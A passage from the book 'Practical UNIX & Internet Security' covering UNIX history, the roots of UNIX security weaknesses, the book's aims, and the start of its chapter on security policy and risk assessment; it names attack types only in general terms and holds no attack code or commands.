MULTICS was also designed with military security in mind. MULTICS was designed both to be resistant to external attacks and to protect the users on the system from each other. MULTICS was to support the concept of multilevel security. Top Secret, Secret, Confidential, and Unclassified information could all coexist on the same computer. The MULTICS operating system was designed to prevent information that had been classified at one level from finding its way into the hands of someone who had not been cleared to see that information. MULTICS eventually provided a level of security and service that is still unequaled by many of today's computer systems - including, perhaps, UNIX.

In 1969, MULTICS was far behind schedule. Its creators had promised far more than they could deliver within the projected time frame. Already at a disadvantage because of the distance between its New Jersey laboratories and MIT, AT&T decided to pull out of the MULTICS Project.

That year Ken Thompson, an AT&T researcher who had worked on the MULTICS Project, took over an unused PDP-7 computer to pursue some of the MULTICS ideas on his own. Thompson was soon joined by Dennis Ritchie, who had also worked on MULTICS. Peter Neumann suggested the name UNIX for the new system. The name was a pun on the name MULTICS and a backhanded slap at the project that was continuing in Cambridge (and indeed continued for another decade and a half). Whereas MULTICS tried to do many things, UNIX tried to do one thing well: run programs. The concept of strong security was not part of this goal.

The smaller scope was all the impetus that the researchers needed; an early version of UNIX was operational several months before MULTICS. Within a year, Thompson, Ritchie, and others rewrote UNIX for Digital's new PDP-11 computer.

As AT&T's scientists added features to their system throughout the 1970s, UNIX evolved into a programmer's dream. The system was based on compact programs, called tools, each of which performed a single function. By putting tools together, programmers could do complicated things. UNIX mimicked the way programmers thought. To get the full functionality of the system, users needed access to all of these tools - and in many cases, to the source code for the tools as well. Thus, as the system evolved, nearly everyone with access to the machines aided in the creation of new tools and in the debugging of existing ones.

In 1973, Thompson rewrote most of UNIX in Ritchie's newly invented C programming language. C was designed to be a simple, portable language. Programs written in C could be moved easily from one kind of computer to another - as was the case with programs written in other high-level languages like FORTRAN - yet they ran nearly as fast as programs coded directly in a computer's native machine language.

At least, that was the theory. In practice, every different kind of computer at Bell Labs had its own operating system. C programs written on the PDP-11 could be recompiled on the lab's other machines, but they didn't always run properly, because every operating system performed input and output in slightly different ways. Mike Lesk developed a " portable I/O library" to overcome some of the incompatibilities, but many remained. Then, in 1977, the group realized that it might be easier to port the UNIX operating system itself rather than trying to port all of the libraries. UNIX was first ported to the lab's Interdata 8/32, a microcomputer similar to the PDP-11. In 1978, the operating system was ported to Digital's new VAX minicomputer. UNIX still remained very much an experimental operating system. Nevertheless, UNIX had become a popular operating system in many universities and was already being marketed by several companies. UNIX was suddenly more than just a research curiosity.

Indeed, as early as 1973, there were more than 16 different AT&T or Western Electric sites outside Bell Labs running the operating system. UNIX soon spread even further. Thompson and Ritchie presented a paper on the operating system at the ACM Symposium on Operating System Principles (SOSP) in October 1973. Within a matter of months, sites around the world had obtained and installed copies of the system. Even though AT&T was forbidden under the terms of its 1956 Consent Decree with the U.S. Federal government from advertising, marketing, or supporting computer software, demand for UNIX steadily rose. By 1977, more than 500 sites were running the operating system; 125 of them were at universities, in the U.S. and more than 10 foreign countries. 1977 also saw the first commercial support for UNIX, then at Version 6.

At most sites, and especially at universities, the typical UNIX environment was like that inside Bell Labs: the machines were in well-equipped labs with restricted physical access. The users who made extensive use of the machines were people who had long-term access and who usually made significant modifications to the operating system and its utilities to provide additional functionality. They did not need to worry about security on the system because only authorized individuals had access to the machines. In fact, implementing security mechanisms often hindered the development of utilities and customization of the software. One of the authors worked in two such labs in the early 1980s, and one location viewed having a password on the root account as an annoyance because everyone who could get to the machine was authorized to use it as the superuser!

This environment was perhaps best typified by the development at the University of California at Berkeley. Like other schools, Berkeley had paid $400 for a tape that included the complete source code to the operating system. Instead of merely running UNIX, two of Berkeley's bright graduate students, Bill Joy and Chuck Haley, started making significant modifications. In 1978, Joy sent out 30 copies of the " Berkeley Software Distribution (BSD)," a collection of programs and modifications to the UNIX system. The charge: $50 for media and postage.

Over the next six years, in an effort funded by ARPA, the so-called BSD UNIX grew into an operating system of its own that offered significant improvements over AT&T's. For example, a programmer using BSD UNIX could switch between multiple programs running at the same time. AT&T's UNIX allowed the names on files to be only 14 letters long, but Berkeley's allowed names of up to 255 characters. But perhaps the most important of the Berkeley improvements was the BSD 4.2 UNIX networking software, which made it easy to connect UNIX computers to local area[5] networks (LANs). For all of these reasons, the Berkeley version of UNIX became very popular with the research and academic communities.

[5] And we stress, local area.

About the same time, AT&T had been freed from its restrictions on developing and marketing source code as a result of the enforced divestiture of the phone company. Executives realized that they had a strong potential product in UNIX, and they set about developing it into a more polished commercial product. This led to an interesting change in the numbering of the BSD releases.

Berkeley 4.2 UNIX should have been numbered 5.0. However, by the time that the 4.2 Berkeley Software Distribution was ready to be released, friction was growing between the developers at Berkeley and the management of AT&T, who owned the UNIX trademark and rights to the operating system. As UNIX had grown in popularity, AT&T executives became increasingly worried that, with the popularity of Berkeley UNIX, AT&T was on the verge of losing control of a valuable property right. To retain control of UNIX, AT&T formed the UNIX Support Group (USG) to continue development and marketing of the UNIX operating system. USG proceeded to christen a new version of UNIX as AT&T System V, and declare it the new "standard"; AT&T representatives referred to BSD UNIX as nonstandard and incompatible.

Under Berkeley's license with AT&T, the university was free to release updates to existing AT&T UNIX customers. But if Berkeley had decided to call its new version of UNIX "5.0," it would have needed to renegotiate its licensing agreement to distribute the software to other universities and companies. Thus, Berkeley released BSD 4.2. By calling the new release of the operating system "4.2," they pretended that the system was simply a minor update.

As interest in UNIX grew, the industry was beset by two competing versions of UNIX: Berkeley UNIX and AT&T's System V. The biggest non-university proponent of Berkeley UNIX was Sun Microsystems. Founded in part by graduates from Berkeley's computer science program, Sun's SunOS operating system was, for all practical purposes, Berkeley's operating system, as it was based on BSD 4.1c. Many people believe that Sun's adoption of Berkeley UNIX was responsible for the early success of the company. Another early adopter was the Digital Equipment Corporation, whose Ultrix operating system was also quite similar to Berkeley UNIX - not surprising as it was based on BSD 4.2.

As other companies entered the UNIX marketplace, they faced a question of which version of UNIX to adopt. On the one hand, there was Berkeley UNIX, which was preferred by academics and developers, but which was "unsupported" and was frighteningly similar to the operating system used by Sun, soon to become the market leader. On the other hand, there was AT&T System V UNIX, which AT&T, the owner of UNIX, was proclaiming as the operating system "standard." As a result, most computer manufacturers that tried to develop UNIX in the mid-to-late 1980s - including Data General, IBM, Hewlett Packard, and Silicon Graphics - adopted System V as their standard. A few tried to do both, coming out with systems that had dual "universes." A third version of UNIX, called Xenix, was developed by Microsoft in the early 1980s and licensed to the Santa Cruz Operation (SCO). Xenix was based on AT&T's older System III operating system, although Microsoft and SCO had updated it throughout the 1980s, adding some new features, but not others.

As UNIX started to move from the technical to the commercial markets in the late 1980s, this conflict of operating system versions was beginning to cause problems for all vendors. Commercial customers wanted a standard version of UNIX, hoping that it could cut training costs and guarantee software portability across computers made by different vendors. And the nascent UNIX applications market wanted a standard version, believing that this would make it easier for them to support multiple platforms, as well as compete with the growing PC-based market.

The first two versions of UNIX to merge were Xenix and AT&T's System V. The resulting version, UNIX System V/386, release 3.l2, incorporated all the functionality of traditional UNIX System V and Xenix. It was released in August 1988 for 80386-based computers.

In the spring of 1988, AT&T and Sun Microsystems signed a joint development agreement to merge the two versions of UNIX. The new version of UNIX, System V Release 4 (SVR4), was to have the best features of System V and Berkeley UNIX and be compatible with programs written for either. Sun proclaimed that it would abandon its SunOS operating system and move its entire user base over to its own version of the new operating system, which it would call Solaris.[6]

[6] Some documentation labels the combined versions of SunOS and AT&T System V as SunOS 5.0, and uses the name Solaris to designate SunOS 5.0 with the addition of OpenWindows and other applications.

The rest of the UNIX industry felt left out and threatened by the Sun/AT&T announcement. Companies including IBM and Hewlett-Packard worried that, because they were not a part of the SVR4 development effort, they would be at a disadvantage when the new operating system was finally released. In May 1988, seven of the industry's UNIX leaders - Apollo Computer, Digital Equipment Corporation, Hewlett-Packard, IBM, and three major European computer manufacturers - announced the formation of the Open Software Foundation (OSF).

The stated purpose of OSF was to wrest control of UNIX away from AT&T and put it in the hands of a not-for-profit industry coalition, which would be chartered with shepherding the future development of UNIX and making it available to all under uniform licensing terms. OSF decided to base its version of UNIX on AIX, then moved to the MACH kernel from Carnegie Mellon University, and an assortment of UNIX libraries and utilities from HP, IBM, and Digital. To date, the result of this effort has not been widely adopted or embraced by all the participants. The OSF operating system (OSF/1) was late in coming, so some companies built their own (e.g., IBM's AIX). Others adopted SVR4 after it was released, in part because it was available, and in part because AT&T and Sun went their separate ways - thus ending the threat against which OSF had been rallied.

As of 1996, the UNIX wars are far from settled, but they are much less important than they seemed in the early 1990s. In 1993, AT&T sold UNIX Systems Laboratories (USL) to Novell, having succeeded in making SVR4 an industry standard, but having failed to make significant inroads against Microsoft's Windows operating system on the corporate desktop. Novell then transferred the UNIX trademark to the X/Open Consortium, which is granting use of the name to systems that meet its 1170 test suite. Novell subsequently sold ownership of the UNIX source code to SCO in 1995, effectively disbanding USL.

Although Digital Equipment Corporation provides Digital UNIX (formerly OSF/1) on its workstations, Digital's strongest division isn't workstations, but its PC division. Despite the fact that Sun's customers said that they wanted System V compatibility, Sun had difficulty convincing the majority of its customers to actually use its Solaris operating system during the first few years of its release (and many users still complain about the switch). BSD/OS by BSD Inc., a commercial version of BSD 4.4, is used in a significant number of network firewall systems, VAR systems, and academic research labs. Meanwhile, a free UNIX-like operating system - Linux - has taken the hobbyist and small-business market by storm. Several other free implementations of UNIX and UNIX-like systems for PCs - including versions based on BSD 4.3 and 4.4, and the Mach system developed at Carnegie Mellon University - have also gained widespread use. Figure 1.1 shows the current situation with versions of UNIX.

Figure 1.1: Versions of UNIX

Despite the lack of unification, the number of UNIX systems continues to grow. As of the mid 1990s, UNIX runs on an estimated five million computers throughout the world. Versions of UNIX run on nearly every computer in existence, from small IBM PCs to large supercomputers such as Crays. Because it is so easily adapted to new kinds of computers, UNIX is the operating system of choice for many of today's high-performance microprocessors. Because a set of versions of the operating system's source code is readily available to educational institutions, UNIX has also become the operating system of choice for educational computing at many universities and colleges. It is also popular in the research community because computer scientists like the ability to modify the tools they use to suit their own needs.

UNIX has become popular too, in the business community. In large part this popularity is because of the increasing numbers of people who have studied computing using a UNIX system, and who have sought to use UNIX in their business applications. Users who become familiar with UNIX tend to become very attached to the openness and flexibility of the system. The client-server model of computing has also become quite popular in business environments, and UNIX systems support this paradigm well (and there have not been too many other choices).

Furthermore, a set of standards for a UNIX-like operating system (including interface, library, and behavioral characteristics) has emerged, although considerable variability among implementations remains. This set of standards is POSIX, originally initiated by IEEE, but also adopted as ISO/IEC 9945. People can now buy different machines from different vendors, and still have a common interface. Efforts are also focused on putting the same interface on VMS, Windows NT, and other platforms quite different from UNIX "under the hood." Today's UNIX is based on many such standards, and this greatly increases its attractiveness as a common platform base in business and academia alike. UNIX vendors and users are the leaders of the "open systems" movement: without UNIX, the very concept of "open systems" would probably not exist. No longer do computer purchases lock a customer into a multi-decade relationship with a single vendor.

Previous: 1.2 What Is an Operating System? | Practical UNIX & Internet Security | Next: 1.4 Security and UNIX
1.2 What Is an Operating System? | Book Index | 1.4 Security and UNIX


[Chapter 1] 1.4 Security and UNIX

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 1.3 History of UNIX Chapter 1
Introduction 		Next: 1.5 Role of This Book

1.4 Security and UNIX

Dennis Ritchie wrote about the security of UNIX: "It was not designed from the start to be secure. It was designed with the necessary characteristics to make security serviceable."

UNIX is a multi-user, multi-tasking operating system. Multi-user means that the operating system allows many different people to use the same computer at the same time. Multi-tasking means that each user can run many different programs simultaneously.

One of the natural functions of such operating systems is to prevent different people (or programs) using the same computer from interfering with each other. Without such protection, a wayward program (perhaps written by a student in an introductory computer science course) could affect other programs or other users, could accidentally delete files, or could even crash (halt) the entire computer system. To keep such disasters from happening, some form of computer security has always had a place in the UNIX design philosophy.

But UNIX security provides more than mere memory protection. UNIX has a sophisticated security system that controls the ways users access files, modify system databases, and use system resources. Unfortunately, those mechanisms don't help much when the systems are misconfigured, are used carelessly, or contain buggy software. Nearly all of the security holes that have been found in UNIX over the years have resulted from these kinds of problems rather than from shortcomings in the intrinsic design of the system. Thus, nearly all UNIX vendors believe that they can (and perhaps do) provide a reasonably secure UNIX operating system. However, there are influences that work against better security.

1.4.1 Expectations

The biggest problem with improving UNIX security is arguably one of expectation. Many users have grown to expect UNIX to be configured in a particular way. Their experience with UNIX in academic and research settings has always been that they have access to most of the directories on the system and that they have access to most commands. Users are accustomed to making their files world-readable by default. Users are also often accustomed to being able to build and install their own software, often requiring system privileges to do so. The trend in "free" versions of UNIX for personal computer systems has amplified these expectations.

Unfortunately, all of these expectations are contrary to good security practice in the business place. To have stronger security, system administrators must often curtail access to files and commands that are not strictly needed for users to do their jobs. Thus, someone who needs email and a text processor for his work should not also expect to be able to run the network diagnostic programs and the C compiler. Likewise, to heighten security, users should not be able to install software that has not been examined and approved by a trained and authorized individual.

The tradition of open access is strong, and is one of the reasons that UNIX has been attractive to so many people. Some users argue that to restrict these kinds of access would make the systems something other than UNIX. Although these arguments may be valid, in instances where strong security is required, restrictive measures may be needed.

At the same time, administrators can strengthen security by applying some general security principles, in moderation. For instance, rather than removing all compilers and libraries from each machine, the tools can be protected so that only users in a certain user group can access them. Users with a need for such access, and who can be trusted to take due care, can be added to this group. Similar methods can be used with other classes of tools, too, such as network monitoring software or Usenet news programs.

Furthermore, changing the fundamental view of data on the system can be beneficial: from readable by default to unreadable by default. For instance, user files and directories should be protected against read access instead of being world-readable by default. Setting file access control values appropriately and using shadow password files are just two examples of how this simple change in system configuration can improve the overall security of UNIX.

The most critical aspect of enhancing UNIX security is that the users themselves participate in the alteration of their expectations. The best way to meet this goal is not by decree, but through education and motivation. Many users started using UNIX in an environment less threatening than they face today. By educating users of the dangers and how their cooperation can help to thwart those dangers, the security of the system is increased. By properly motivating the users to participate in good security practice, you make them part of the security mechanism. Better education and motivation work well only when applied together, however; education without motivation may not be applied, and motivation without education leaves gaping holes in what is done.

1.4.2 Software Quality

Much of the UNIX operating system and utilities that people take for granted was written as student projects, or as quick "hacks" by software developers inside research labs. These programs were not formally designed and tested: they were put together and debugged on the fly. The result is a large collection of tools that usually work, but sometimes fail in unexpected and spectacular ways. Utilities were not the only things written by students. Much of BSD UNIX, including the networking code, was written by students as research projects of one sort or another - and these efforts sometimes ignored existing standards and conventions.

This analysis is not intended to cast aspersions on the abilities of students, and instead points out that today's UNIX was not created as a carefully designed and tested system. Indeed, a considerable amount of the development of UNIX and its utilities occurred at a time when good software engineering tools and techniques were not yet developed or readily available.[7] The fact that occasional bugs are discovered that result in compromises of the security of the system is no wonder; the fact that so few bugs are evident is perhaps the real wonder!

[7] Some would argue that they are still not available. Few academic environments currently have access to modern software engineering tools because of their cost, and few vendors are willing to provide copies at prices that academic institutions can afford.

Unfortunately, two things are not occurring as a result of the discovery of faults in the existing code. The first is that software designers are not learning from past mistakes. For instance, buffer overruns (mostly resulting from fixed-length buffers and functions that do not check their arguments) have been recognized as a major UNIX problem area for some time, yet software continues to be discovered containing such bugs, and new software is written without consideration of these past problems. For instance, a fixed-length buffer overrun in the gets () library call was one of the major propagation modes of the Morris Internet worm of 1988, yet, as we were working on the second edition of this book in late 1995, news of yet another buffer-overrun security flaw surfaced - this time in the BSD-derived syslog() library call. It is inexcusable that vendors continue to ship software with these kinds of problems in place.

A more serious problem than any particular flaw is the fact that few, if any, vendors are performing an organized program of testing on the software they provide. Although many vendors test their software for compliance with industry "standards," few apparently test their software to see what it does when presented with unexpected data or conditions. With as much as 40% of the utilities on some machines being buggy,[8] one might think that vendors would be eager to test their versions of the software and to correct lurking bugs. However, as more than one vendor"s software engineer has told us, "The customers want their UNIX - including the flaws - exactly like every other implementation. Furthermore, it's not good business: customers will pay extra for performance, but not for better testing."

[8] See the reference to the paper by Barton Miller, et al., given in Appendix D.

As long as the customers demand strict conformance of behavior to existing versions of the programs, and as long as software quality is not made a fundamental purchase criterion by those same customers, vendors will most likely do very little to systematically test and fix their software. Formal standards, such as the ANSI C standard and POSIX standard help perpetuate and formalize these weaknesses, too. For instance, the ANSI C standard[9] perpetuates the gets() library call, forcing UNIX vendors to support the call, or to issue systems at a competitive disadvantage because they are not in compliance with the standard.[10]

[9] ANSI X3J11

[10] See Appendix D for references describing this scenario.

1.4.3 Add-On Functionality Breeds Problems

One final influence on UNIX security involves the way new functionality has been added over the years. UNIX is often cited for its flexibility and reuse characteristics; therefore, new functions are constantly built on top of UNIX platforms and eventually integrated into released versions. Unfortunately, the addition of new features is often done without understanding the assumptions that were made with the underlying mechanisms and without concern for the added complexity presented to the system operators and maintainers. Applying the same features and code in a heterogeneous computing environment can also lead to problems.

As a special case, consider how large-scale computer networks such as the Internet have dramatically changed the security ground rules from those under which UNIX was developed. UNIX was originally developed in an environment where computers did not connect to each other outside of the confines of a small room or research lab. Networks today interconnect tens of thousands of machines, and millions of users, on every continent in the world. For this reason, each of us confronts issues of computer security directly: a doctor in a major hospital might never imagine that a postal clerk on the other side of the world could pick the lock on her desk drawer to rummage around her files, yet this sort of thing happens on a regular basis to "virtual desk drawers" on the Internet.

Most colleges and many high schools now grant network access to all of their students as a matter of course. The number of primary schools with network access is also increasing, with initiatives in many U.S. states to put a networked computer in every classroom. Granting telephone network access to a larger number of people increases the chances of telephone abuse and fraud, the same as granting widespread computer network access increases the chances that the access will be used for illegitimate purposes. Unfortunately, the alternative of withholding access is equally unappealing. Imagine operating without a telephone because of the risk of receiving prank calls!

The foundations and traditions of UNIX network security, however, were profoundly shaped by the earlier, more restricted view of networks, and not by our more recent experiences. For instance, the concept of user IDs and group IDs controlling access to files was developed at a time when the typical UNIX machine was in a physically secure environment. On top of this was added remote manipulation commands such as rlogin and rcp that were designed to reuse the user-ID/group-ID paradigm with the concept of "trusted ports" for network connections. Within a local network in a closed lab, using only relatively slow computers, this design (usually) worked well. But now, with the proliferation of workstations and non-UNIX machines on international networks, this design, with its implicit assumptions about restricted access to the network, leads to major weaknesses in security.[11]

[11] Peter Salus notes in his fine history Casting the Net: From Arpanet to Internet and Beyond... (Addison-Wesley, 1995), that Bob Metcalf warned of these dangers in 1973, in RFC 602. That warning, and others like it, went largely unheeded.

Not all of these unsecure foundations were laid by UNIX developers. The IP protocol suite on which the Internet is based, was developed outside of UNIX initially, and it was developed without a sufficient concern for authentication and confidentiality. This lack of concern has enabled recent cases of password sniffing and IP sequence spoofing to occur, and make news, as "sophisticated" attacks.[12] (These attacks are discussed in Chapter 16, TCP/IP Networks.)

[12] To be fair, the designers of TCP/IP were aware of many of the problems. However, they were more concerned about making everything work so they did not address many of the problems in their design. The problems are really more the fault of people trying to build critical applications on an experimental set of protocols before the protocols were properly refined - a familiar problem.

Another facet of the problem has to do with the "improvements" made by each vendor. Rather than attempting to provide a unified, simple interface to system administration across platforms, each vendor has created a new set of commands and functions. In many cases, improvements to the command set have been available to the administrator. However, there are also now hundreds (perhaps thousands) of new commands, options, shells, permissions, and settings that the administrator of a heterogeneous computing environment must understand and remember. Additionally, many of the commands and options are similar to each other, but have different meanings depending on the environment in which they are used. The result can often be disaster when the poor administrator suffers momentary confusion about the system or has a small lapse in memory. This complexity further complicates the development of tools that are intended to provide cross-platform support and control. For a "standard" operating system, UNIX is one of the most nonstandard systems to administer.

That such difficulties arise is both a tribute to UNIX, and a condemnation. The robust nature of UNIX enables it to accept and support new applications by building on the old. However, existing mechanisms are sometimes completely inappropriate for the tasks assigned to them. Rather than being a condemnation of UNIX, such shortcomings are actually an indictment of the developers for failing to give more consideration to the human and functional ramifications of building on the existing foundation.

Here, then, is a conundrum: to rewrite large portions of UNIX and the protocols underlying its environment, or to fundamentally change its structure, would be to attack the very reasons UNIX has become so widely used. Furthermore, such restructuring would be contrary to the spirit of standardization that has been a major factor in the recent wide acceptance of UNIX. At the same time, without reevaluation and some restructuring, there is serious doubt about the level of trust that can be placed in the system. Ironically, the same spirit of development and change is what has led UNIX to its current niche.

Previous: 1.3 History of UNIX | Practical UNIX & Internet Security | Next: 1.5 Role of This Book
1.3 History of UNIX | Book Index | 1.5 Role of This Book


[Chapter 1] 1.5 Role of This Book

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 1.4 Security and UNIX Chapter 1
Introduction 		Next: 2. Policies and Guidelines

1.5 Role of This Book

If we can't change UNIX and the environment in which it runs, the next best thing is to learn about how to protect the system as best we can. That's the goal of this book. If we can provide information to users and administrators in a way that helps them understand the way things work and how to use the safeguards, then we should be moving in the right direction. After all, these areas seem to be where many of the problems originate.

Unfortunately, knowing how things work on the system is not enough. Because of the UNIX design, a single flaw in a UNIX system program can compromise the security of the operating system as a whole. This is why vigilance and attention are needed to keep a system running securely: after a hole is discovered, it must be fixed. Furthermore, in this age of networked computing, that fix must be made widely available, lest some users who have not updated their software fall victim to more up-to-date attackers.

NOTE: Although this book includes numerous examples of past security holes in the UNIX operating system, we have intentionally not provided the reader with an exhaustive list of the means by which a machine can be penetrated. Not only would such information not necessarily help to improve the security of your system, but it might place a number of systems running older versions of UNIX at additional risk.

Even properly configured UNIX systems are still very susceptible to denial of service attacks, where one user can make the system unusable for everyone else by "hogging" a resource or degrading system performance. In most circumstances, however, administrators can track down the person who is causing the interruption of service and deal with that person directly. We'll talk about denial of service attacks in Chapter 25, Denial of Service Attacks and Solutions.

First of all, we start by discussing basic issues of policy and risk in Chapter 2. Before you start setting permissions and changing passwords, make sure you understand what you are protecting and why. You should also understand what you are protecting against. Although we can't tell you all of that, we can outline some of the questions you need to answer before you design your overall security plan.

Throughout the rest of the book, we'll be explaining UNIX structures and mechanisms that can affect your overall security. We concentrate on the fundamentals of the way the system behaves so you can understand the basic principles and apply them in your own environment. We have specifically not presented examples and suggestions of where changes in the source code can fix problems or add security. Although we know of many such fixes, most UNIX sites do not have access to source code. Most system administrators do not have the necessary expertise to make the required changes. Furthermore, source code changes, as do configurations. A fix that is appropriate in March 1996 may not be desirable on a version of the operating system shipped the following September. Instead, we present principles, with the hope that they will give you better long-term results than one-time custom modifications.

We suggest that you keep in mind that even if you take everything to heart that we explain in the following chapters, and even if you keep a vigilant watch over your systems, you may still not fully protect your assets. You need to educate every one of your users about good security and convince them to practice what they learn. Computer security is a lonely, frustrating occupation if it is practiced as a case of "us" (information security personnel) versus "them" (the rest of the users). If you can practice security as "all of us" (everyone in the organization) versus "them" (people who would breach our security), the process will be much easier. You also need to help convince vendors to produce safer code. If we all put our money behind our stated concerns, maybe the vendors will finally catch on.

Previous: 1.4 Security and UNIX | Practical UNIX & Internet Security | Next: 2. Policies and Guidelines
1.4 Security and UNIX | Book Index | 2. Policies and Guidelines


[Chapter 2] Policies and Guidelines

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 1.5 Role of This Book Chapter 2 Next: 2.2 Risk Assessment

2. Policies and Guidelines

Contents:
Planning Your Security Needs
Risk Assessment
Cost-Benefit Analysis
Policy
The Problem with Security Through Obscurity

Fundamentally, computer security is a series of technical solutions to non-technical problems. You can spend an unlimited amount of time, money, and effort on computer security, but you will never quite solve the problem of accidental data loss or intentional disruption of your activities. Given the right set of circumstances - software bugs, accidents, mistakes, bad luck, bad weather, or a motivated and well-equipped attacker - any computer can be compromised, rendered useless, or worse.

The job of the security professional is to help organizations decide how much time and money need to be spent on security. Another part of that job is to make sure that organizations have policies, guidelines, and procedures in place so that the money spent is spent well. And finally, the professional needs to audit the system to ensure that the appropriate controls are implemented correctly to achieve the policy's goals. Thus, practical security is really a question of management and administration more than it is one of technical skill. Consequently, security must be a priority of your firm's management.

This book divides the process of security planning into six discrete steps:

  1. Security needs planning

  2. Risk assessment

  3. Cost-benefit analysis

  4. Creating policies to reflect your needs

  5. Implementation

  6. Audit and incident response

This chapter covers security planning, risk assessment, cost-benefit analysis, and policy-making. Implementation is covered by many of the chapters of this book. Audit is described in Chapter 10, Auditing and Logging, and incident response in Chapter 17, TCP/IP Services through Chapter 26, Computer Security and U.S. Law.

There are two critical principles implicit in effective policy and security planning:

  • Policy and security awareness must be driven from the top down in the organization. Security concerns and awareness by the users are important, but they cannot build or sustain an effective culture of security. Instead, the head(s) of the organization must treat security as important, and abide by all the same rules and regulations as everyone else.

  • Effective computer security means protecting information. All plans, policies and procedures should reflect the need to protect information in whatever form it takes. Proprietary data does not become worthless when it is on a printout or is faxed to another site instead of contained in a disk file. Customer confidential information does not suddenly lose its value because it is recited on the phone between two users instead of contained within an email message. The information should be protected no matter what its form.

2.1 Planning Your Security Needs

A computer is secure if it behaves the way that you expect it will.

There are many different kinds of computer security, and many different definitions. Rather than present a formal definition, this book takes the practical approach and discusses the categories of protection you should consider. We believe that secure computers are usable computers, and, likewise, that computers that cannot be used, for whatever the reason, are not very secure.

Within this broad definition, there are many different kinds of security that both users and administrators of computer systems need to be concerned about:

Confidentiality

Protecting information from being read or copied by anyone who has not been explicitly authorized by the owner of that information. This type of security includes not only protecting the information in toto, but also protecting individual pieces of information that may seem harmless by themselves but that can be used to infer other confidential information.

Data integrity

Protecting information (including programs) from being deleted or altered in any way without the permission of the owner of that information. Information to be protected also includes items such as accounting records, backup tapes, file creation times, and documentation.

Availability

Protecting your services so they're not degraded or made unavailable (crashed) without authorization. If the system is unavailable when an authorized user needs it, the result can be as bad as having the information that resides on the system deleted.

Consistency

Making sure that the system behaves as expected by the authorized users. If software or hardware suddenly starts behaving radically differently from the way it used to behave, especially after an upgrade or a bug fix, a disaster could occur. Imagine if your ls command occasionally deleted files instead of listing them! This type of security can also be considered as ensuring the correctness of the data and software you use.

Control

Regulating access to your system. If unknown and unauthorized individuals (or software) are found on your system, they can create a big problem. You must worry about how they got in, what they might have done, and who or what else has also accessed your system. Recovering from such episodes can require considerable time and expense for rebuilding and reinstalling your system, and verifying that nothing important has been changed or disclosed - even if nothing actually happened.

Audit

As well as worrying about unauthorized users, authorized users sometimes make mistakes, or even commit malicious acts. In such cases, you need to determine what was done, by whom, and what was affected. The only way to achieve these results is by having some incorruptible record of activity on your system that positively identifies the actors and actions involved. In some critical applications, the audit trail may be extensive enough to allow "undo" operations to help restore the system to a correct state.

Although all of these aspects of security above are important, different organizations will view each with a different amount of importance. This variance is because different organizations have different security concerns, and must set their priorities and policies accordingly. For example:

  • In a banking environment, integrity and auditability are usually the most critical concerns, while confidentiality and availability are the next in importance.

  • In a national defense-related system that processes classified information, confidentiality may come first, and availability last.[1]

    [1] In some highly classified environments, officials would prefer to blow up a building rather than allow an attacker to gain access to the information contained within that building's walls.

  • In a university, integrity and availability may be the most important requirements. The priority is that students be able to work on their papers, rather than tracking the precise times that students accessed their accounts.

If you are a security administrator, you need to thoroughly understand the needs of your operational environment and users. You then need to define your procedures accordingly. Not everything we describe in this book will be appropriate in every environment.

2.1.1 Trust

Security professionals generally don't refer to a computer system as being "secure" or "unsecure."[2] Instead, we use the word "trust" to describe our level of confidence that a computer system will behave as expected. This acknowledges that absolute security can never be present. We can only try to approach it by developing enough trust in the overall configuration to warrant using it for critical applications.

[2] We use the term unsecure to mean having weak security, and insecure to describe the state of mind of people running unsecure systems.

Developing adequate trust in your computer systems requires careful thought and planning. Decisions should be based on sound policy decisions and risk analysis. In the remainder of this chapter, we"ll discuss the general procedure for creating workable security plans and policies. The topic is too big, however, for us to provide an in-depth treatment:

  • If you are at a company, university, or government agency, we suggest that you contact your internal audit and/or risk management department for additional help (they may already have some plans and policies in place that you should know about). You can also learn more about this topic by consulting some of the works referenced in Appendix D, Paper Sources. You may also wish to enlist a consulting firm. For example, many large accounting and audit firms now have teams of professionals that can evaluate the security of computer installations.

  • If you are with a smaller institution or are dealing with a personal machine, you may decide that we cover these issues in greater detail than you actually need. Nevertheless, the information contained in this chapter will help guide you in setting your priorities.

Previous: 1.5 Role of This Book | Practical UNIX & Internet Security | Next: 2.2 Risk Assessment
1.5 Role of This Book | Book Index | 2.2 Risk Assessment


[Chapter 2] 2.2 Risk Assessment

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 2.1 Planning Your Security Needs Chapter 2
Policies and Guidelines 		Next: 2.3 Cost-Benefit Analysis

2.2 Risk Assessment

The first step to improving the security of your system is to answer these basic questions:

  • What am I trying to protect?

  • What do I need to protect against?

  • How much time, effort, and money am I willing to expend to obtain adequate protection?

These questions form the basis of the process known as risk assessment.

Risk assessment is a very important part of the computer security process. You cannot protect yourself if you do not know what you are protecting yourself against! After you know your risks, you can then plan the policies and techniques that you need to implement to reduce those risks.

For example, if there is a risk of a power failure and if availability of your equipment is important to you, you can reduce this risk by purchasing an uninterruptable power supply (UPS).

2.2.1 A Simple Assessment Strategy

We'll present a simplistic form of risk assessment to give you a starting point. This example may be more complex than you really need for a home computer system or very small company. The example is also undoubtedly insufficient for a large company, a government agency, or a major university. In cases such as those, you need to consider specialized software to do assessments, and the possibility of hiring an outside consulting firm with expertise in risk assessment.

The three key steps in doing a risk assessment are:

  1. Identifying assets

  2. Identifying threats

  3. Calculating risks

There are many ways to go about this process. One method with which we have had great success is a series of in-house workshops. Invite a cross-section of users, managers, and executives from throughout your organization. Over a series of weeks, compose your lists of assets and threats. Not only will this process help to build a more complete set of lists, it will also help to increase awareness of security in everyone who attends.

2.2.1.1 Identifying assets

Draw up a list of items you need to protect. This list should be based on your business plan and common sense. The process may require knowledge of applicable law, a complete understanding of your facilities, and knowledge of your insurance coverage.

Items to protect include tangibles (disk drives, monitors, network cables, backup media, manuals) and intangibles (ability to continue processing, public image, reputation in your industry, access to your computer, your system's root password). The list should include everything that you consider of value. To determine if something is valuable, consider what the loss or damage of the item might be in terms of lost revenue, lost time, or the cost of repair or replacement.

Some of the items that should probably be in your asset list include:

Tangibles:

  • Computers

  • Proprietary data

  • Backups and archives

  • Manuals, guides, books

  • Printouts

  • Commercial software distribution media

  • Communications equipment and wiring

  • Personnel records

  • Audit records

Intangibles:

  • Safety and health of personnel

  • Privacy of users

  • Personnel passwords

  • Public image and reputation

  • Customer/client goodwill

  • Processing availability

  • Configuration information

